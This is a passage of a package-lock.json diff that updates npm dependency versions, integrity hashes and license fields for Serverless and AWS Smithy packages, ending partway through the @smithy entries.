       "integrity": "sha512-eJ2jbzjdijiL3B4PrSQaSjuF2sPEQPVCPzBvTHJD9Nz+9dw2SGH4K4xeQJ77YfTq5bRQ+bD8wT11JbeDPmxmGg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/openapi-types": "^12.11.0"
       }
     },
+    "node_modules/@paralleldrive/cuid2": {
+      "version": "2.2.2",
+      "resolved": "https://registry.npmjs.org/@paralleldrive/cuid2/-/cuid2-2.2.2.tgz",
+      "integrity": "sha512-ZOBkgDwEdoYVlSeRbYYXs0S9MejQofiVYoTbKzy/6GQa39/q5tQU2IX46+shYnUkpEl3wc+J6wRlar7r2EK2xA==",
+      "license": "MIT",
+      "dependencies": {
+        "@noble/hashes": "^1.1.5"
+      }
+    },
+    "node_modules/@rtsao/scc": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz",
+      "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/@serverless/dashboard-plugin": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/@serverless/dashboard-plugin/-/dashboard-plugin-7.2.0.tgz",
-      "integrity": "sha512-Gqzgef+KmrX1OxJW9aubrIN6AvPrtDARMv+NegMNEe+pfkZA/IMuZiSyYUaHgARokdw2/IALOysTLgdFJIrXvA==",
+      "version": "7.2.3",
+      "resolved": "https://registry.npmjs.org/@serverless/dashboard-plugin/-/dashboard-plugin-7.2.3.tgz",
+      "integrity": "sha512-Vu4TKJLEQ5F8ZipfCvd8A/LMIdH8kNGe448sX9mT4/Z0JVUaYmMc3BwkQ+zkNIh3QdBKAhocGn45TYjHV6uPWQ==",
+      "license": "MIT",
       "dependencies": {
         "@aws-sdk/client-cloudformation": "^3.410.0",
         "@aws-sdk/client-sts": "^3.410.0",
@@ -1908,6 +1872,7 @@
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/child-process-ext/-/child-process-ext-3.0.2.tgz",
       "integrity": "sha512-oBePsLbQpTJFxzwyCvs9yWWF0OEM6vGGepHwt1stqmX7QQqOuDc8j2ywdvAs9Tvi44TT7d9ackqhR4Q10l1u8w==",
+      "license": "ISC",
       "dependencies": {
         "cross-spawn": "^7.0.3",
         "es5-ext": "^0.10.62",
@@ -1920,9 +1885,10 @@
       }
     },
     "node_modules/@serverless/dashboard-plugin/node_modules/cross-spawn": {
-      "version": "7.0.3",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
-      "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+      "license": "MIT",
       "dependencies": {
         "path-key": "^3.1.0",
         "shebang-command": "^2.0.0",
@@ -1936,6 +1902,7 @@
       "version": "9.1.0",
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
       "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+      "license": "MIT",
       "dependencies": {
         "at-least-node": "^1.0.0",
         "graceful-fs": "^4.2.0",
@@ -1950,6 +1917,7 @@
       "version": "7.4.2",
       "resolved": "https://registry.npmjs.org/open/-/open-7.4.2.tgz",
       "integrity": "sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==",
+      "license": "MIT",
       "dependencies": {
         "is-docker": "^2.0.0",
         "is-wsl": "^2.1.1"
@@ -1965,6 +1933,7 @@
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
       "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -1973,6 +1942,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+      "license": "MIT",
       "dependencies": {
         "shebang-regex": "^3.0.0"
       },
@@ -1984,6 +1954,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -1992,6 +1963,7 @@
       "version": "8.3.2",
       "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
       "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+      "license": "MIT",
       "bin": {
         "uuid": "dist/bin/uuid"
       }
@@ -2000,6 +1972,7 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -2015,6 +1988,7 @@
       "resolved": "https://registry.npmjs.org/@serverless/eslint-config/-/eslint-config-5.1.0.tgz",
       "integrity": "sha512-tEqL5fjQf9ZRYwDHXh2XFDHx75cmrJncYjmpODYmxMKG2bytr1FkcLlZF6PuNzVJCjDUBa719xcif8WHnqcvsA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.0"
       },
@@ -2026,6 +2000,7 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/@serverless/event-mocks/-/event-mocks-1.1.1.tgz",
       "integrity": "sha512-YAV5V/y+XIOfd+HEVeXfPWZb8C6QLruFk9tBivoX2roQLWVq145s4uxf8D0QioCueuRzkukHUS4JIj+KVoS34A==",
+      "license": "Apache-2.0",
       "dependencies": {
         "@types/lodash": "^4.14.123",
         "lodash": "^4.17.11"
@@ -2035,6 +2010,7 @@
       "version": "4.5.1",
       "resolved": "https://registry.npmjs.org/@serverless/platform-client/-/platform-client-4.5.1.tgz",
       "integrity": "sha512-XltmO/029X76zi0LUFmhsnanhE2wnqH1xf+WBt5K8gumQA9LnrfwLgPxj+VA+mm6wQhy+PCp7H5SS0ZPu7F2Cw==",
+      "license": "ISC",
       "dependencies": {
         "adm-zip": "^0.5.5",
         "archiver": "^5.3.0",
@@ -2060,6 +2036,7 @@
       "version": "1.0.10",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+      "license": "MIT",
       "dependencies": {
         "sprintf-js": "~1.0.2"
       }
@@ -2068,6 +2045,7 @@
       "version": "3.14.1",
       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
       "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+      "license": "MIT",
       "dependencies": {
         "argparse": "^1.0.7",
         "esprima": "^4.0.0"
@@ -2081,6 +2059,7 @@
       "resolved": "https://registry.npmjs.org/@serverless/test/-/test-11.1.1.tgz",
       "integrity": "sha512-oTDJdK3AV8TkF37T4uPK9f46zA+XPqyT4jqyGAE3EWMJqto7vcjZnyDtuXdpFmwx4Jogs4magKDjIAfJb8VXuw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@serverless/utils": "^6.11.1",
         "bluebird": "^3.7.2",
@@ -2121,6 +2100,7 @@
       "version": "6.15.0",
       "resolved": "https://registry.npmjs.org/@serverless/utils/-/utils-6.15.0.tgz",
       "integrity": "sha512-7eDbqKv/OBd11jjdZjUwFGN8sHWkeUqLeHXHQxQ1azja2IM7WIH+z/aLgzR6LhB3/MINNwtjesDpjGqTMj2JKQ==",
+      "license": "MIT",
       "dependencies": {
         "archive-type": "^4.0.0",
         "chalk": "^4.1.2",
@@ -2163,12 +2143,14 @@
     "node_modules/@serverless/utils/node_modules/jwt-decode": {
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-3.1.2.tgz",
-      "integrity": "sha512-UfpWE/VZn0iP50d8cz9NrZLM9lSWhcJ+0Gt/nm4by88UL+J1SiKN8/5dkjMmbEzwL2CAe+67GsegCbIKtbp75A=="
+      "integrity": "sha512-UfpWE/VZn0iP50d8cz9NrZLM9lSWhcJ+0Gt/nm4by88UL+J1SiKN8/5dkjMmbEzwL2CAe+67GsegCbIKtbp75A==",
+      "license": "MIT"
     },
     "node_modules/@serverless/utils/node_modules/uuid": {
       "version": "8.3.2",
       "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
       "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+      "license": "MIT",
       "bin": {
         "uuid": "dist/bin/uuid"
       }
@@ -2177,6 +2159,7 @@
       "version": "4.6.0",
       "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz",
       "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -2189,15 +2172,27 @@
       "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz",
       "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "type-detect": "4.0.8"
       }
     },
+    "node_modules/@sinonjs/commons/node_modules/type-detect": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
+      "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
+      }
+    },
     "node_modules/@sinonjs/fake-timers": {
       "version": "9.1.2",
       "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-9.1.2.tgz",
       "integrity": "sha512-BPS4ynJW/o92PUR4wgriz2Ud5gpST5vz6GQfMixEDK0Z8ZCUv2M7SkBLykH56T++Xs+8ln9zTGbOvNGIe02/jw==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@sinonjs/commons": "^1.7.0"
       }
@@ -2207,6 +2202,7 @@
       "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-6.1.3.tgz",
       "integrity": "sha512-nhOb2dWPeb1sd3IQXL/dVPnKHDOAFfvichtBf4xV00/rU1QbPCQqKMbvIheIjqwVjh7qIgf2AHTHi391yMOMpQ==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@sinonjs/commons": "^1.6.0",
         "lodash.get": "^4.4.2",
@@ -2214,537 +2210,598 @@
       }
     },
     "node_modules/@sinonjs/text-encoding": {
-      "version": "0.7.2",
-      "resolved": "https://registry.npmjs.org/@sinonjs/text-encoding/-/text-encoding-0.7.2.tgz",
-      "integrity": "sha512-sXXKG+uL9IrKqViTtao2Ws6dy0znu9sOaP1di/jKGW1M6VssO8vlpXCQcpZ+jisQ1tTFAC5Jo/EOzFbggBagFQ==",
-      "dev": true
+      "version": "0.7.3",
+      "resolved": "https://registry.npmjs.org/@sinonjs/text-encoding/-/text-encoding-0.7.3.tgz",
+      "integrity": "sha512-DE427ROAphMQzU4ENbliGYrBSYPXF+TtLg9S8vzeA+OF4ZKzoDdzfL8sxuMUGS/lgRhM6j1URSk9ghf7Xo1tyA==",
+      "dev": true,
+      "license": "(Unlicense OR Apache-2.0)"
     },
     "node_modules/@smithy/abort-controller": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/@smithy/abort-controller/-/abort-controller-2.0.14.tgz",
-      "integrity": "sha512-zXtteuYLWbSXnzI3O6xq3FYvigYZFW8mdytGibfarLL2lxHto9L3ILtGVnVGmFZa7SDh62l39EnU5hesLN87Fw==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/abort-controller/-/abort-controller-4.0.4.tgz",
+      "integrity": "sha512-gJnEjZMvigPDQWHrW3oPrFhQtkrgqBkyjj3pCIdF3A5M6vsZODG93KNlfJprv6bp4245bdT32fsHK4kkH3KYDA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/config-resolver": {
-      "version": "2.0.19",
-      "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-2.0.19.tgz",
-      "integrity": "sha512-JsghnQ5zjWmjEVY8TFOulLdEOCj09SjRLugrHlkPZTIBBm7PQitCFVLThbsKPZQOP7N3ME1DU1nKUc1UaVnBog==",
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.1.4.tgz",
+      "integrity": "sha512-prmU+rDddxHOH0oNcwemL+SwnzcG65sBF2yXRO7aeXIn/xTlq2pX7JLVbkBnVLowHLg4/OL4+jBmv9hVrVGS+w==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^2.1.6",
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-config-provider": "^2.0.0",
-        "@smithy/util-middleware": "^2.0.7",
-        "tslib": "^2.5.0"
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-config-provider": "^4.0.0",
+        "@smithy/util-middleware": "^4.0.4",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@smithy/core": {
+      "version": "3.7.0",
+      "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.7.0.tgz",
+      "integrity": "sha512-7ov8hu/4j0uPZv8b27oeOFtIBtlFmM3ibrPv/Omx1uUdoXvcpJ00U+H/OWWC/keAguLlcqwtyL2/jTlSnApgNQ==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@smithy/middleware-serde": "^4.0.8",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-base64": "^4.0.0",
+        "@smithy/util-body-length-browser": "^4.0.0",
+        "@smithy/util-middleware": "^4.0.4",
+        "@smithy/util-stream": "^4.2.3",
+        "@smithy/util-utf8": "^4.0.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/credential-provider-imds": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-2.1.2.tgz",
-      "integrity": "sha512-Y62jBWdoLPSYjr9fFvJf+KwTa1EunjVr6NryTEWCnwIY93OJxwV4t0qxjwdPl/XMsUkq79ppNJSEQN6Ohnhxjw==",
+      "version": "4.0.6",
+      "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.0.6.tgz",
+      "integrity": "sha512-hKMWcANhUiNbCJouYkZ9V3+/Qf9pteR1dnwgdyzR09R4ODEYx8BbUysHwRSyex4rZ9zapddZhLFTnT4ZijR4pw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^2.1.6",
-        "@smithy/property-provider": "^2.0.15",
-        "@smithy/types": "^2.6.0",
-        "@smithy/url-parser": "^2.0.14",
-        "tslib": "^2.5.0"
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "@smithy/url-parser": "^4.0.4",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
-      }
-    },
-    "node_modules/@smithy/eventstream-codec": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/@smithy/eventstream-codec/-/eventstream-codec-2.0.14.tgz",
-      "integrity": "sha512-g/OU/MeWGfHDygoXgMWfG/Xb0QqDnAGcM9t2FRrVAhleXYRddGOEnfanR5cmHgB9ue52MJsyorqFjckzXsylaA==",
-      "dependencies": {
-        "@aws-crypto/crc32": "3.0.0",
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-hex-encoding": "^2.0.0",
-        "tslib": "^2.5.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/fetch-http-handler": {
-      "version": "2.2.7",
-      "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-2.2.7.tgz",
-      "integrity": "sha512-iSDBjxuH9TgrtMYAr7j5evjvkvgwLY3y+9D547uep+JNkZ1ZT+BaeU20j6I/bO/i26ilCWFImrlXTPsfQtZdIQ==",
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.1.0.tgz",
+      "integrity": "sha512-mADw7MS0bYe2OGKkHYMaqarOXuDwRbO6ArD91XhHcl2ynjGCFF+hvqf0LyQcYxkA1zaWjefSkU7Ne9mqgApSgQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/protocol-http": "^3.0.10",
-        "@smithy/querystring-builder": "^2.0.14",
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-base64": "^2.0.1",
-        "tslib": "^2.5.0"
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/querystring-builder": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-base64": "^4.0.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/hash-node": {
-      "version": "2.0.16",
-      "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-2.0.16.tgz",
-      "integrity": "sha512-Wbi9A0PacMYUOwjAulQP90Wl3mQ6NDwnyrZQzFjDz+UzjXOSyQMgBrTkUBz+pVoYVlX3DUu24gWMZBcit+wOGg==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.0.4.tgz",
+      "integrity": "sha512-qnbTPUhCVnCgBp4z4BUJUhOEkVwxiEi1cyFM+Zj6o+aY8OFGxUQleKWq8ltgp3dujuhXojIvJWdoqpm6dVO3lQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-buffer-from": "^2.0.0",
-        "@smithy/util-utf8": "^2.0.2",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-buffer-from": "^4.0.0",
+        "@smithy/util-utf8": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/invalid-dependency": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-2.0.14.tgz",
-      "integrity": "sha512-d8ohpwZo9RzTpGlAfsWtfm1SHBSU7+N4iuZ6MzR10xDTujJJWtmXYHK1uzcr7rggbpUTaWyHpPFgnf91q0EFqQ==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.0.4.tgz",
+      "integrity": "sha512-bNYMi7WKTJHu0gn26wg8OscncTt1t2b8KcsZxvOv56XA6cyXtOAAAaNP7+m45xfppXfOatXF3Sb1MNsLUgVLTw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/is-array-buffer": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.0.0.tgz",
-      "integrity": "sha512-z3PjFjMyZNI98JFRJi/U0nGoLWMSJlDjAW4QUX2WNZLas5C0CmVV6LJ01JI0k90l7FvpmixjWxPFmENSClQ7ug==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.0.0.tgz",
+      "integrity": "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/middleware-content-length": {
-      "version": "2.0.16",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-2.0.16.tgz",
-      "integrity": "sha512-9ddDia3pp1d3XzLXKcm7QebGxLq9iwKf+J1LapvlSOhpF8EM9SjMeSrMOOFgG+2TfW5K3+qz4IAJYYm7INYCng==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-4.0.4.tgz",
+      "integrity": "sha512-F7gDyfI2BB1Kc+4M6rpuOLne5LOcEknH1n6UQB69qv+HucXBR1rkzXBnQTB2q46sFy1PM/zuSJOB532yc8bg3w==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/protocol-http": "^3.0.10",
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/middleware-endpoint": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-2.2.1.tgz",
-      "integrity": "sha512-dVDS7HNJl/wb0lpByXor6whqDbb1YlLoaoWYoelyYzLHioXOE7y/0iDwJWtDcN36/tVCw9EPBFZ3aans84jLpg==",
+      "version": "4.1.14",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.14.tgz",
+      "integrity": "sha512-+BGLpK5D93gCcSEceaaYhUD/+OCGXM1IDaq/jKUQ+ujB0PTWlWN85noodKw/IPFZhIKFCNEe19PGd/reUMeLSQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/middleware-serde": "^2.0.14",
-        "@smithy/node-config-provider": "^2.1.6",
-        "@smithy/shared-ini-file-loader": "^2.2.5",
-        "@smithy/types": "^2.6.0",
-        "@smithy/url-parser": "^2.0.14",
-        "@smithy/util-middleware": "^2.0.7",
-        "tslib": "^2.5.0"
+        "@smithy/core": "^3.7.0",
+        "@smithy/middleware-serde": "^4.0.8",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/shared-ini-file-loader": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "@smithy/url-parser": "^4.0.4",
+        "@smithy/util-middleware": "^4.0.4",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/middleware-retry": {
-      "version": "2.0.21",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-2.0.21.tgz",
-      "integrity": "sha512-EZS1EXv1k6IJX6hyu/0yNQuPcPaXwG8SWljQHYueyRbOxmqYgoWMWPtfZj0xRRQ4YtLawQSpBgAeiJltq8/MPw==",
+      "version": "4.1.15",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-4.1.15.tgz",
+      "integrity": "sha512-iKYUJpiyTQ33U2KlOZeUb0GwtzWR3C0soYcKuCnTmJrvt6XwTPQZhMfsjJZNw7PpQ3TU4Ati1qLSrkSJxnnSMQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^2.1.6",
-        "@smithy/protocol-http": "^3.0.10",
-        "@smithy/service-error-classification": "^2.0.7",
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-middleware": "^2.0.7",
-        "@smithy/util-retry": "^2.0.7",
-        "tslib": "^2.5.0",
-        "uuid": "^8.3.2"
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/service-error-classification": "^4.0.6",
+        "@smithy/smithy-client": "^4.4.6",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-middleware": "^4.0.4",
+        "@smithy/util-retry": "^4.0.6",
+        "tslib": "^2.6.2",
+        "uuid": "^9.0.1"
       },
       "engines": {
-        "node": ">=14.0.0"
-      }
-    },
-    "node_modules/@smithy/middleware-retry/node_modules/uuid": {
-      "version": "8.3.2",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
-      "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
-      "bin": {
-        "uuid": "dist/bin/uuid"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/middleware-serde": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-2.0.14.tgz",
-      "integrity": "sha512-hFi3FqoYWDntCYA2IGY6gJ6FKjq2gye+1tfxF2HnIJB5uW8y2DhpRNBSUMoqP+qvYzRqZ6ntv4kgbG+o3pX57g==",
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-4.0.8.tgz",
+      "integrity": "sha512-iSSl7HJoJaGyMIoNn2B7czghOVwJ9nD7TMvLhMWeSB5vt0TnEYyRRqPJu/TqW76WScaNvYYB8nRoiBHR9S1Ddw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/middleware-stack": {
-      "version": "2.0.8",
-      "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-2.0.8.tgz",
-      "integrity": "sha512-7/N59j0zWqVEKExJcA14MrLDZ/IeN+d6nbkN8ucs+eURyaDUXWYlZrQmMOd/TyptcQv0+RDlgag/zSTTV62y/Q==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-4.0.4.tgz",
+      "integrity": "sha512-kagK5ggDrBUCCzI93ft6DjteNSfY8Ulr83UtySog/h09lTIOAJ/xUSObutanlPT0nhoHAkpmW9V5K8oPyLh+QA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/node-config-provider": {
-      "version": "2.1.6",
-      "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-2.1.6.tgz",
-      "integrity": "sha512-HLqTs6O78m3M3z1cPLFxddxhEPv5MkVatfPuxoVO3A+cHZanNd/H5I6btcdHy6N2CB1MJ/lihJC92h30SESsBA==",
+      "version": "4.1.3",
+      "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.1.3.tgz",
+      "integrity": "sha512-HGHQr2s59qaU1lrVH6MbLlmOBxadtzTsoO4c+bF5asdgVik3I8o7JIOzoeqWc5MjVa+vD36/LWE0iXKpNqooRw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/property-provider": "^2.0.15",
-        "@smithy/shared-ini-file-loader": "^2.2.5",
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
